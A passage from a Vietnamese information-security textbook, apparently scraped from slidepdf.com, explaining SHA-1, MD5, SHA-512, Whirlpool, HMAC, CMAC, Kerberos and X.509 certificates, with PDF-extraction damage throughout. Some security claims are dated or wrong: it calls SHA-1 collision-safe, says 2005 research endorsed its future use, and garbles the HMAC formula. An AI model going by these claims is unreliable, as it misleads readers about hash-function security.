VI.3.2 Thuật toán Hash an toàn SHA (Secure Hash Algorithm)SHA có nguồn gốc từ Viện chuẩn công nghệ quốc gia Hoa k ỳ - NIST & NSA vàonăm 1993, sau đó đượ c nâng cấ p vào 1995 theo chuẩn US và chuẩn là FIPS 180-11995 và Internet RFC3174, đượ c nhắc đến như SHA-1. Nó đượ c sử dụng vớ i sơ  đồ chữ ký điện tử DSA (Digital Signature Algorithm).Thuật toán là SHA dựa trên thiết k ế MD4 vớ i một số khác biệt tạo nên giá tr ị Hash160 bit. Các k ết quả nghiên cứu 2005 về an toàn của SHA-1 đề xuất sử dụng nó trongtươ ng lai.

Sau đây ta mô tả chi tiết thuật toán SHA-1 và MD5:

Thuật toán SHA-1Mô tả thụât toánĐầu vào của thuật toán là một thông điệ p có chiều dài bất k ỳ nhỏ hơ n 264 bit, SHA-1 chora k ết quả là một thông điệ p rút gọn có độ dài là 160 bitMở rộng thông điệp:f(t;B,C,D) đượ c định ngh ĩ a như sau.

f(t;B,C,D) = (B AND C) OR ((NOT B) AND D) (0≤t≤19)f(t;B,C,D) = B XOR C XOR D (20≤t≤39)f(t;B,C,D) = (B AND C) OR (B AND D) OR (C AND D) (40≤t≤59)f(t;B,C,D) = B XOR C XOR D (60≤t≤79).

Thông điệ p M đượ c mở r ộng tr ướ c khi thực hiện băm. Mục đích của việc mở r ộng này làđể đảm bảo cho thông điệ p mở r ộng có độ dài là bội số của 512.Giả sử độ dài của thông điệ p là l bit. Thêm bit 1 vào cuối thông điệ p, theo sau là k bit 0(k là số dươ ng không âm nhỏ nhất sao cho l+1+k=448 (mod512)) . Sau đó thêm khối 64 bit là biểu diễn nhị phân của l.Phân tích thông điệp mở rộng:

Page 92: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 92/147

 - 92 -

Sau khi thông điệ p đã đượ c mở  r ộng, thông điệ p mở r ộng đượ c phân tích thành N khối512 bit M(1),M(2),…,M(N). Trong đó 512 bit của khối dữ liệu đầu vào có thể đượ c thể hiện bằng 16 từ 32 bit,Khở i tạo giá trị băm:Giá tr ị băm là một chuỗi bit có kích thướ c bằng kích thướ c của thông điệ p băm (tr ừ SHA-

384) gồm các từ ghép lại. Trong đó H j

(i)

là từ j trong giá tr ị băm ở lần lặ p i vớ i 0≤i≤ N (số  block có đượ c sau khi chia văn bản đượ c đệm) và 0≤ j≤(số từ trong giá tr ị băm -1).Tr ướ ckhi thực hiện giá tr ị băm, vớ i mỗi thuật toán băm an toàn, giá tr ị băm ban đầu H(0) phảiđượ c thiết lậ p. Kích thướ c và số lượ ng từ trong H(0) tuỳ thuộc vào kích thướ c thông điệ prút gọn.SHA-1 sử dụng dãy các hằng số K(0),…K(79) có giá tr ị như sau:

K(t) = 5A827999 ( 0 <= t <= 19)K(t) = 6ED9EBA1 (20 <= t <= 39)K(t) = 8F1BBCDC (40 <= t <= 59)K(t) = CA62C1D6 (60 <= t <= 79).

Thuật toán của bứơ c tính giá trị băm SHA-1

SHA-1 đượ c sử dụng để băm thông điệ p M có độ dài l bit thoả mãn điều kiện 0≤l≤2

64

.Thuật toán sử dụng:-  Một bảng phân bố thông điệ p gồm 80 từ 32 bit-  5 biến 32 bit-  Một giá tr ị băm gồm 5 từ 32 bit

K ết quả của SHA-1 là một thông điệ p rút gọn có độ dài 160 bit. Các từ của bảng phân bố thông điệ p đượ c ký hiệu W(0),W(1),…,W(79). 5 biến đượ c ký hiệu là a,b,c,d,e. Các từ của giá tr ị băm ký hiệu H0

(i),H1(i), H2

(i), H3(i),H4

(i). H(0) giữ giá tr ị băm ban đầu và đượ cthay thế bằng các giá tr ị băm thành công.H(i) sau mỗi khối thông điệ p đượ c xử lý và k ếtthúc bằng giá tr ị băm cuối cùng H(N).Tính toán thông điệp băm

Định ngh ĩ a: S^n(X)=(X<<n) or (X>>32-n).X<<n có ngh ĩ a là loại bỏ từ trái sang phải n bit và thêm vào k ết quả n số 0 vào bên phải.X>> có ngh ĩ a là loại bỏ từ phải qua trái n bit và thêm vào k ết quả n số 0 vào bên trái.Khở i tạo H

H0 = 67452301 ; H1 = EFCDAB89H2 = 98BADCFE ; H3 = 10325476H4 = C3D2E1F0.

Chia M(i) thành 16 từ W(0), W(1),…,W(15)For t = 16 to 79-  W(t) = S^1(W(t-3) XOR W(t-8) XOR W(t-14) XOR W(t-16)).- Đặt a=H0 , b=H1,c=H2,d=H3,e=H4

For t = 0 to 79 do-  TEMP = S^5(A) + f(t;B,C,D) + E + W(t) + K(t);-  e = d; d = c; c = S^30(b); b = a; a = TEMP;- Đặt H0 = H0 + a,H1 = H1 + b,H2 = H2 + c,H3 = H3 + d,H4 = H4+ e.

Sau khi tính toán đượ c hết M(n), thông điệ p rút gọn là một chuỗi 160 bit là biểu diễn của5 từ: H0 H1 H2 H3 H4Đánh giá thuật toán

Page 93: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 93/147

 - 93 -

-  SHA-1 đượ c xem là an toàn đối vớ i hiện tượ ng đụng độ vì r ất khó tìm đượ c haithông điệ p khác nhau có giá tr ị băm giống nhau

-  SHA-1 đượ c coi là chuẩn của việc bảo vệ các kênh liên lạc tr ực tuyến tồn tại trong9 năm qua.

-  SHA-1 đượ c thiết k ế cho bộ xử lý 32 bit, thế hệ sắ p tớ i của máy tính dùng các bộ 

xử lý 64 bit mà SHA-1 không hiệu quả trên bộ xử lý này.-  Tháng 2 năm 2005 SHA-1 bị tấn công bờ i 3 chuyên gia ngườ i Trung Quốc. Thuật

toán này đã bị giải mã thông qua phươ ng pháp tính phân bổ.

Thuật toán MD5Mô tả thuật toánThuật toán có đầu vào là một thông điệ p có độ dài tuỳ ý và có đầu ra là một chuỗi có độ dài cố định là 128 bit. Thuật toán đượ c thiết k ế để chạy trên các máy tính 32 bit.Thuật toán:Thông điệ p đầu vào có độ dài b bit bất k ỳ. Biểu diễn các bit dướ i dạng như sau: m[0]m[1] m[2] ... m[b-1]

Bướ c1: Các bit gắn thêm : Thông điệ p đượ c mở r ộng, thêm bit vào phía sau sao cho độ dài của nó (bit) đồng dư vớ i 448 theo môđun 512. Ngh ĩ a là thông điệ p đượ c mở r ộng saocho nó còn thiếu 64 bit nữa thì sẽ có một độ dài chia hết cho 512. Việc thêm bit này đượ cthực hiện như sau: một bit ‘1’ đượ c thêm vào sau thông điệ  p, sau đó các bit ‘0’ đượ cthêm vào để có một độ dài đồng dư vớ i 448 môđun 512.Bướ c 2: Gắn thêm độ dài: Dạng biểu diễn 64 bit độ dài b của chuỗi ban đầu đượ c thêmvào phía sau k ết quả của bướ c 1.Bướ c 3: Khở i tạo bộ đệm MD: Một bộ đệm 4 từ (A,B,C,D) đượ c dùng để tính mã số thông điệ p. Ở đây mỗi A,B,C,D là một thanh ghi 32 bit. Những thanh ghi này đượ c khở itạo theo những giá tr ị hex sau :

A=0x01234567

B=0x89abcdef C=0xfedcba98D=0x76543210

Bướ c 4 :Xử lý thông điệ p theo từng khối 16 từ. Định ngh ĩ a các hàm phụ, các hàm nàynhận giá tr ị đầu vào là 3 từ 32 bit và tạo tạo ra một word 32 bit.

F(X,Y,Z) = XY v not(X) ZG(X,Y,Z)= XZ v Y not(Z)H(X,Y,Z) = X xor Y xor ZI(X,Y,Z) = Y xor (X v not(Z))

Bướ c này sử dụng một bảng 64 giá tr ị T[1 .. 64] đượ c tạo ra từ hàm sin. Gọi T là phần tử thứ i của bảng, thì T là phần nguyên của 4294967296*|sin(i)| , i đượ c tính theo radian.

Thuật toán/* Xử lý vớ i mỗi khối 16 bit từ */For i = 0 to N/16-1 do

/* Sao khối i vào X. */For j = 0 to 15 doSet X[j] to M[i*16+j].

endAA = A

Page 94: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 94/147

 - 94 -

BB = BCC = CDD = D

/* Vòng 1: Ký hiệu [abcd k s i] là thao tác saua = b + ((a + F(b,c,d) + X[k] + T[i]) <<< s). */

/* Làm 16 thao tác sau đây*/[ABCD 0 7 1] [DABC 1 12 2] [CDAB 2 17 3] [BCDA 3 22 4][ABCD 4 7 5] [DABC 5 12 6] [CDAB 6 17 7] [BCDA 7 22 8][ABCD 8 7 9] [DABC 9 12 10] [CDAB 10 17 11] [BCDA 11 22 12][ABCD 12 7 13] [DABC 13 12 14] [CDAB 14 17 15] [BCDA 15 22 16]

/* Vòng 2: Ký hiệu [abcd k s i] là thao tác sau đâya = b + ((a + G(b,c,d) + X[k] + T[i]) <<< s). */

/* Làm 16 thao tác sau đây*/[ABCD 1 5 17] [DABC 6 9 18] [CDAB 11 14 19] [BCDA 0 20 20][ABCD 5 5 21] [DABC 10 9 22] [CDAB 15 14 23] [BCDA 4 20 24][ABCD 9 5 25] [DABC 14 9 26] [CDAB 3 14 27] [BCDA 8 20 28]

[ABCD 13 5 29] [DABC 2 9 30] [CDAB 7 14 31] [BCDA 12 20 32]/* Vòng 3: Ký hiệu [abcd k s t] là thao tác sau đâya = b + ((a + H(b,c,d) + X[k] + T[i]) <<< s). */

/* Làm 16 thao tác sau đây*/[ABCD 5 4 33] [DABC 8 11 34] [CDAB 11 16 35] [BCDA 14 23 36][ABCD 1 4 37] [DABC 4 11 38] [CDAB 7 16 39] [BCDA 10 23 40][ABCD 13 4 41] [DABC 0 11 42] [CDAB 3 16 43] [BCDA 6 23 44][ABCD 9 4 45] [DABC 12 11 46] [CDAB 15 16 47] [BCDA 2 23 48]

/* Vòng 4: Ký hiệu [abcd k s t] là thao tác sau đâya = b + ((a + I(b,c,d) + X[k] + T[i]) <<< s). */

/* Làm 16 thao tác sau đây*/

[ABCD 0 6 49] [DABC 7 10 50] [CDAB 14 15 51] [BCDA 5 21 52][ABCD 12 6 53] [DABC 3 10 54] [CDAB 10 15 55] [BCDA 1 21 56][ABCD 8 6 57] [DABC 15 10 58] [CDAB 6 15 59] [BCDA 13 21 60][ABCD 4 6 61] [DABC 11 10 62] [CDAB 2 15 63] [BCDA 9 21 64]

/* Tính */A = A + AAB = B + BBC = C + CCD = D + DD

end /* Kêt thúc vòng lặ p trên i*/Bướ c 5: Thông điệ p rút gọn = A||B||C||D.

Đánh giá thuật toán MD5Về tốc độ sinh ra chuỗi cốt yếu thì MD5 chậm hơ n so vớ i MD4 nhưng nó lại an toàn hơ nr ất nhiều so vớ i MD4. Thuật toán số hóa thông điệ  p MD5 khá đơ n giản để thực hiện,cung cấ p một giá tr ị băm của thông điệ p vớ i độ dài tuỳ ý. Ngườ i ta cho r ằng độ khó để tìm đượ c 2 thông điệ p có cùng giá tr ị băm là khoảng 264 bướ c tính, và độ khó để tìm đượ cmột thông điệ p vớ i giá tr ị băm cho tr ướ c là 2128 bướ c tính. Tuy nhiên lỗ hổng mớ i pháthiện trong thuật toán MD5 sẽ cho phép k ẻ tấn công có thể tạo ra file giả mạo trong vòngvài giờ vớ i loại máy tính đạt chuẩn.

Page 95: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 95/147

 - 95 -

Chuẩn Hash an toàn nâng caoViện chuẩn công nghệ quốc gia NIST xuất bản bản sửa FIPS 180-2 vào năm 2002, đề nghị bổ sung 3 phiên bản mớ i của SHA: SHA-256, SHA-384, SHA-512. Các phiên bản trên đượ c thiết k ế tươ ng thích vớ i việc tăng độ an toàn đượ c cung cấ p bở i chuẩn

mã nâng cao AES. Về cấu trúc và chi tiết giống SHA-1, suy ra việc phân tích cũngtươ ng tự, nhưng mức độ an toàn cao hơ n nhiều so vớ i SHA-1.

Tổng quan SHA 512

Hàm nén SHA-512SHA-512 là tr ọng tâm của thuật toán. Ở đây xử lý mẩu tin vớ i các khối 1024 bit và bao gồm 80 vòng

Page 96: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 96/147

 - 96 -

o  cậ p nhật bộ đệm 512 bito  Sử dụng giá tr ị Wt 64 bit đượ c lấy ra từ block hiện tại của mẩu tino  Và hằng số quay vòng dựa trên căn bậc ba của 80 số nguyên tố đầu tiên

Hàm quay vòng của SHA-512

VI.3.3 Hàm Hash WhirlpoolBây giờ xem xét hàm Hash Whirlpool, đượ c tán thành bở i dự án NESSIE của châuÂu. Ở đây sử dụng biến đổi bên trong của chuẩn mã nâng cao AES làm hàm nén vàhướ ng tớ i sử dụng mã khối như tr ướ c. Chất lượ ng thực hiện của Whirrlpool sánhđượ c vớ i các thuật toán nổi tiếng như SHA.

Tổng quan Whirlpool đượ c trình bày trên hình vẽ sau

Page 97: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 97/147

 - 97 -

Mã khối WhirlpoolWhirlpool đượ c thiết k ế riêng cho việc sử dụng hàm Hash vớ i độ an toàn và hiệu quả như chuẩn mã nâng cao AES, nhưng vớ i kích thướ c khối 512 bit hash. Hàm và cấutrúc tươ ng tự như AES nhưng đầu vào đượ c ánh xạ khéo léo vào 10 hàng và các đathức nguyên tố khác trên GF(28). Ở đây sử dụng giá tr ị và thiết k ế S-box khác.

An toàn và chất lượ ng thự c hiện của WhirlpoolWhirlpool mớ i đượ c đề xuất, nên có ít kinh nghiệm sử dụng. Tuy nhiên nó đượ c xâydựng dựa trên k ỹ thuật của AES đã đượ c dùng nhiều. Có thể Whirlpool cần nhiềuthiết bị phần cứng hơ n SHA, nhưng chất lượ ng thực hiện sẽ tốt hơ n.

Page 98: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 98/147

 - 98 -

VI.3.4 Hàm Hash có khoá giống như MACKhi đã có các hàm Hash tốt, chúng ta muốn có các mã xác thực mẩu tin MAC dựatrên các hàm Hash đó. Vì hàm Hash thông thườ ng nhanh hơ n và mã nguồn của hàmHash đượ c phổ biến r ộng rãi hơ n, nên việc sử dụng chúng tạo nên MAC sẽ hiệu quả hơ n. Ta có thể coi MAC là Hash bao gồm cả khoá vớ i mẩu tin, cụ thể đượ c đề xuấtnhư sau

KeyedHash = Hash (Key | Message)

Trong tr ườ ng hợ   p này có một số điểm yếu đã đượ c tìm thấy. Chính vì muốn khắc phục các điểm yếu đó, một phươ ng án k ết hợ  p Hash để tạo nên MAC đượ c phát triểnlà HMAC.

VI.3.5 HMAC HMAC đượ c thiết k ế theo chuẩn Internet RFC2104, sử dụng hàm Hash trên mẩu tin:

HMACK = Hash [(K + XOR opad) || Hash [(K + XOR ipad) || M)]]

Page 99: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 99/147

 - 99 -

trong đó K + là khoá đệm mở r ộng của K và opad, ipad là các hằng bộ đệm đặc biệt, Mlà mẩu tin. Như vậy cần tính nhiều hơ n 3 hàm Hash so vớ i nếu bản tin đứng mộtmình. Bất cứ hàm Hash nào cũng có thể đượ c sử dụng trong sơ  đồ trên: MD5, SHA-1, RIPEMD-160 hay Whirlpool.

Tổng quan HMAC

An toàn HMAC Sự an toàn đượ c chứng minh liên quan đến thuật toán Hash nền trong sơ  đồ trên. Tấncông HMAC yêu cầu phải hoặc:

o  Tấn công vét cạn khoá đã sử dụng hoặco  Tấn công ngày sinh nhật (tuy cần quan sát số lượ ng r ất lớ n mẩu tin)

Có thể lựa chọn phán đoán hàm Hash đượ c sử dụng dựa trên tốc độ và các ràng buộc

an toàn.

VI.3.6 CMAC Tr ướ c kia đã xét Thuật toán xác thực dữ liệu DAA (CBC-MAC), đượ c sử dụng r ộngrãi trong các chính phủ và công nghiệ p. Nhưng kích thướ c bản MAC có giớ i hạn nhỏ hơ n hoặc bằng 64 bit. Có thể khắc phục nhượ c điểm trên bằng cách sử dụng 2 khoávà bộ đệm như sau: phươ ng pháp đượ c viết tắt từ Mã xác thực mẩu tin dựa trên mã

Page 100: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 100/147

 - 100 -

(Cipher-based Message Authentication Code (CMAC) và đượ c đề xuất bở i NISTSP800-38B:

Tổng quan CMAC 

VI.4 Các ứ ng dụng xác thự cChúng ta sẽ xem xét các hàm xác thực đượ c phát triển để hỗ tr ợ xác thực mức ứng dụngvà chữ ký điện tử. Đồng thờ i cũng xem xét dịch vụ xác thực dùng khoá riêng Kerrberros.Và sau đó xét dịch vụ xác thực dùng khoá công khai X.509.

VI.4.1 KerberosĐây là mô hình Hệ thống khoá máy chủ tin cậy của MIT (Tr ườ ng Đại học K ỹ thuậtMassachusetts) để cung cấ p xác thực có bên thứ ba dùng khoá riêng và tậ p trung. Cho phép ngườ i sử dụng truy cậ p vào các dịch vụ phân tán trong mạng. Tuy nhiên không cầnthiết phải tin cậy mọi máy tr ạm, thay vì đó chỉ cần tin cậy máy chủ xác thực trung tâm.Đã có hai phiên bản đang sử dụng là: Kerberos 4 và Kerberos 5.

1.  Các yêu cầu của KerrberosBáo cáo đầu tiên của: Kerberos nêu các yêu cầu sau

o  An toàno  Tin cậyo  Trong suốto  Có thể mở r ộng

Ở đây cài đặt sử dụng thủ tục xác thực Needham-Schroeder.2.  Tổng quan Kerberos 4

Page 101: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 101/147

 - 101 -

Là sơ  đồ xác thực dùng bên thứ ba cơ bản và có máy chủ xác thực (AS – AuthenticationServer). Ngườ i dùng thỏa thuận vớ i AS về danh tính của mình, AS cung cấ p sự tin cậyxác thực thông qua thẻ cấ p thẻ TGT (Ticket Granting Ticket) và máy chủ cung cấ p thẻ (TGS – Ticket Granting Server). Ngườ i sử dụng thườ ng xuyên yêu cầu TGS cho truy cậ pđến các dịch vụ khác dựa trên thẻ cấ p thẻ TGT của ngườ i sử dụng.

3.  Trao đổi Kerberos 4 Ngườ i sử dụng nhận thẻ đượ c cấ p từ máy chủ xác thực AS, mỗi thẻ cho một phiên làmviệc và cũng nhận thẻ cấ p dùng dịch vụ (service granting ticket) từ TGT. Mỗi thẻ dùngcho một dịch vụ khác nhau đượ c yêu cầu, thông qua việc trao đổi giữa máy chủ/tr ạm để nhận đượ c dịch vụ.4.  Các lãnh địa KerberosMôi tr ườ ng Kerberos bao gồm: máy chủ Kerberos, một số máy tr ạm đã đượ c đăng ký vớ imáy chủ, các máy chủ ứng dụng chia sẻ khoá vớ i máy chủ. Một hệ thống như vậy đượ cgọi là một lãnh địa Kerberos. Thông thườ ng là một miền hành chính duy nhất. Nếu cónhiều lãnh địa, thì các máy chủ Kerberos cần phải chia sẻ khoá và tin cậy nhau.5.  Kerberos phiên bản 5

Kerberos 5 đượ c phát triển vào giữa những năm 1990, đượ c thiết k ế theo chuẩn RFC1510. Nó cung cấ p những cải tiến so vớ i phiên bản 4, cụ thể hướ ng tớ i các thiếu xót về môi tr ườ ng, thuật toán mã, thủ tục mạng thứ tự byte, thờ i gian sử dụng thẻ, truyền tiế pxác thực, xác thực lãnh địa con. Và các sự khác biệt về k ỹ thuật như: mã kép, các dạng sử dụng không chuẩn, khoá phiên, chống tấn công mật khẩu.

Sau đây ta xem xét chi tiết mô hình Kerberos

Kerberos là một giao thức xác thực mạng, nó cho phép các cá nhân giao tiế p vớ i nhautrên một mạng không an toàn bằng cách xác thực ngườ i dùng này vớ i ngườ i dùng kháctheo một cơ chế bảo mật và an toàn. Kerberos ngăn chặn việc nghe tr ộm thông tin cũngnhư tấn công thay thế và đảm bảo tính toàn vẹn của dữ liệu. Kerberos hoạt động theo mô

hình máy tr ạm/máy chủ và nó thực hiện quá trình xác thực 2 chiều - cả ngườ i dùng vàdịch vụ xác thực lẫn nhau. Kerberos đượ c xây dựng dựa trên mô hình mã hóa khóa đốixứng và đòi hỏi một thành phần thứ ba tin cậy tham gia vào quá trình xác thực.Mô tả giao thứ cKerberos sử dụng một đối tác tin cậy thứ ba để thực hiện quá trình chứng thực đượ c gọilà Trung tâm phân phối khóa bao gồm 2 phần riêng biệt: một máy chủ chứng thực (AS)và một máy chủ cấ p thẻ (TGS). Kerberos làm việc dựa trên các thẻ để thực hiện quá trìnhchứng thực ngườ i dùng.Kerberos duy trì một cơ sở dữ liệu chứa các khoá bí mật. Mỗi thực thể trên mạng (máytr ạm hoặc máy chủ) đều chia sẽ một khoá bí mật chỉ giữa bản thân nó vớ i Kerberos. Để thực hiện quá trình giao tiế p giữa 2 thực thể, Kerberos tạo ra một khoá phiên. Khóa này

dùng để bảo mật quá trình tươ ng tác giữa các thực thể vớ i nhau.Hoạt động của Kerberos:Quá trình hoạt động của giao thứ c (AS = Máy chủ xác thự c, TGS = Máy chủ cấpthẻ, C = Máy trạm, S = Dịch vụ):

1.   Ngườ i dùng nhậ p vào tên truy cậ p và mật khẩu ở phía máy tr ạm.2.  Máy tr ạm thực hiện thuật toán băm một chiều trên mật khẩu đượ c nhậ p vào và nó

tr ở thành khoá bí mật của máy tr ạm.

Page 102: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 102/147

 - 102 -

3.  Máy tr ạm gở i một thông điệ p dướ i dạng bản rõ đến AS để yêu cầu dịch vụ.Không có khoá bí mật cũng như mật khẩu nào đượ c gở i đến AS.

4.  AS kiểm tra xem có tồn tại ngườ i dùng C trong cở sở dữ liệu của nó hay không. Nếu có, nó gở i ngượ c lại cho máy tr ạm 2 thông điệ p:o Thông điệ p A: chứa khoá phiên Máy tr ạm/TGS đượ c mã hóa bở i khoá bí mật

của ngườ i dùng.o Thông điệ p B: chứa Thẻ (bao gồm ID của máy tr ạm, địa chỉ mạng của máytr ạm, k ỳ hạn thẻ có giá tr ị và một khoá phiên máy tr ạm/TGS) đượ c mã hóa sử dụng khoá bí mật của TGS.

5.  Khi máy tr ạm nhận đượ c thông điệ p A và B, nó giải mã thông điệ p A để lấy khoá phiên máy tr ạm/TGS. Khoá phiên này đượ c sử dụng cho quá trình giao đổi tiế ptheo vớ i TGS. Ở đây máy tr ạm không thể giải mã thông điệ p B bở i vì nó đượ c mãhóa bở i khoá bí mật của TGS.

6.  Khi yêu cầu dịch vụ (S), máy tr ạm gở i 2 thông điệ p sau đến TGS:o Thông điệ p C: Gồm thông điệ p B và ID của dịch vụ đượ c yêu cầuo Thông điệ  p D: chứa Authenticator (gồm ID máy tr ạm và nhãn thờ i gian -

timestamp) đượ c mã hóa bở i khoá phiên Máy tr ạm/TGS.7.  Khi nhận đượ c thông điệ p C và D, TGS giải mã thông điệ p D sử dụng khoá phiênmáy tr ạm/TGS và gở i 2 thông điệ p ngượ c lại cho máy tr ạm:o Thông điệ p E: chứa thẻ (máy tr ạm đến máy chủ) (bao gồm ID máy tr ạm, địa

chỉ mạng của máy tr ạm, k ỳ hạn thẻ có giá tr ị và một khoá phiên máytr ạm/dịch vụ) đượ c mã hóa bở i khoá bí mật của dịch vụ.

o Thông điệ p F: chứa khoá phiên của máy tr ạm/máy chủ đượ c mã hóa bở i khoá phiên máy tr ạm/TGS.

8.  Khi nhận đượ c thông điệ p E và F, máy tr ạm sau đó gở i một Authenticator mớ i vàmột thẻ (máy tr ạm đến máy chủ) đến máy chủ chứa dịch vụ đượ c yêu cầu.o Thông điệ p G: chứa thẻ (máy tr ạm đến máy chủ) đượ c mã hóa sử dụng khoá

 bí mật của máy chủ.o Thông điệ p H: một Authenticator mớ i chứa ID máy tr ạm, Timestamp và đượ cmã hóa sử dụng khoá phiên máy tr ạm/máy chủ.

9.  Sau đó, máy chủ giải mã thẻ sử dụng khoá bí mật của chính nó, và gở i một thôngđiệ p cho máy tr ạm để xác nhận tính hợ  p lệ thực sự của máy tr ạm và sự sẵn sàngcung cấ p dịch vụ cho máy tr ạm.o Thông điệ p I: chứa giá tr ị Timestamp trong Authenticator đượ c gở i bở i máy

tr ạm sẽ đượ c cộng thêm 1, đượ c mã hóa bở i khoá phiên máy tr ạm/máy chủ.10.  Máy tr ạm sẽ giải mã sự xác nhận này sử dụng khóa chia sẽ giữa nó vớ i máy chủ,

và kiểm tra xem giá tr ị timestamp có đượ c cậ p nhật đúng hay không. Nếu đúng,máy tr ạm có thể tin tưở ng máy chủ và bắt đầu đưa ra các yêu cầu dịch vụ gở i đến

máy chủ.11.  Máy chủ cung cấ p dịch vụ đượ c yêu cầu đến máy tr ạm.Hạn chế của KerberosKerberos thích hợ  p cho việc cung cấ p các dịch vụ xác thực, phân quyền và bảo đảm tínhmật của thông tin trao đổi trong phạm vi một mạng hay một tậ p hợ  p nhỏ các mạng. Tuynhiên, nó không thật thích hợ  p cho một số chức năng khác, chẳng hạn như ký điện tử (yêu cầu đáp ứng cả hai nhu cầu xác thực và bảo đảm không chối cãi đượ c). Một trongnhững giả thiết quan tr ọng của giao thức Kerberos là các máy chủ trên mạng cần phải tin

Page 103: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 103/147

 - 103 -

cậy đượ c. Ngoài ra, nếu ngườ i dùng chọn những mật khẩu dễ đoán thì hệ thống dễ bị mấtan toàn tr ướ c kiểu tấn công từ điển, tức là k ẻ tấn công sẽ sử dụng phươ ng thức đơ n giảnlà thử nhiều mật khẩu khác nhau cho đến khi tìm đượ c giá tr ị đúng.Do hệ thống hoàn toàn dựa trên mật khẩu để xác thực ngườ i dùng, nếu bản thân các mậtkhẩu bị đánh cắ p thì khả năng tấn công hệ thống là không có giớ i hạn. Điều này dẫn đến

một yêu cầu r ất căn bản là Trung tâm phân phối khóa cần đượ c bảo vệ nghiêm ngặt. Nếukhông thì toàn bộ hệ thống sẽ tr ở nên mất an toàn.Toàn vẹn dữ liệuĐối vớ i mỗi hệ bảo mật toàn vẹn dữ liệu là một yêu cầu không thể thiếu, để đảm bảo tínhtoàn vẹn dữ liệu thực sự, các thuật mã hoá như mã hoá băm, mã xác nhận thông điệ p(MAC) và chữ ký điện tử có thể cùng đượ c triển khai đồng loạt. Về cơ bản, những biện pháp này sử dụng các hàm một chiều, ngh ĩ a là dữ liệu không thể bị giải mã ngay cả khiđã biết khoá để mã hoá nó.

VI.4.2 Dịch vụ xác thự c X.509Dịch vụ xác thực X.509 là một phần của chuẩn dịch vụ thư mục CCITT X.500. Ở đây các

máy chủ phân tán bảo trì cơ sở dữ liệu thông tin của ngườ i sử dụng và xác định khungcho các dịch vụ xác thực. Thư mục chứa các chứng nhận khoá công khai, khoá công khaicủa ngườ i sử dụng đượ c ký bở i chủ quyền chứng nhận. Để thống nhất dịch vụ cũng xácđịnh các thủ tục xác thực, sử dụng mã khoá công khai và chữ ký điện tử. Tuy thuật toánkhông chuẩn nhưng đượ c RSA đề xuất. Các chứng nhận X.509 đượ c sử dụng r ộng rãi.1. Các chứ ng nhận X.509Đượ c phát hành bở i Chủ quyền chứng nhận (Certification Authority – CA) bao gồm:

o  Các phiên bản 1,2 hoặc 3o  Số sổ (duy nhất vớ i CA) xác định chứng nhậno  Thuật toán xác định chữ kýo  Xuất bản tên X.500 (CA)

o  Chu k ỳ hiệu lực (từ-đến ngày)o  Đối tượ ng của tên X.500 (tên của ngườ i sở hữu)o  Đối tượ ng thông tin khoá công khai (thuật toán, các tham số,khoá)o  Định danh duy nhất xuất bản (phiên bản 2+)o  Định danh duy nhất đối tượ ng (phiên bản 2+)o  Các tr ườ ng mở r ộng (phiên bản 3)o  Chữ ký (hoặc hash của các tr ườ ng trong chứng nhận)

Ký hiệu CA<<A>> là chứng nhận cho A đượ c ký bở i CA2. Nhận chứ ng nhận Ngườ i sử dụng bất k ỳ có thể trao đổi vớ i CA để nhận đượ c chứng nhận. Chỉ CA có thể sửa chứng nhận. Vì không thể bị giả mạo nên chứng nhận có thể đượ c đặt trong thư mục

công cộng.3. Sơ  đồ phân cấp CA Nếu cả hai ngườ i sử dụng chia sẻ chung CA thì họ đượ c giả thiết là biết khoá công khaicủa CA đó. Ngượ c lại các CA cần tạo nên sơ  đồ phân cấ p để trao đổi chứng nhận vớ inhau. Sử dụng chứng nhận liên k ết các thành viên của sơ  đồ để có đượ c chứng nhận củacác CA khác. Mỗi CA có thể gửi tiế  p (forward) các chứng nhận của mình cho clients vàcó thể gửi lại (backward) chứng nhận của mình cho cha của nó. Mỗi client tin tưở ng các

Page 104: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 104/147

 - 104 -

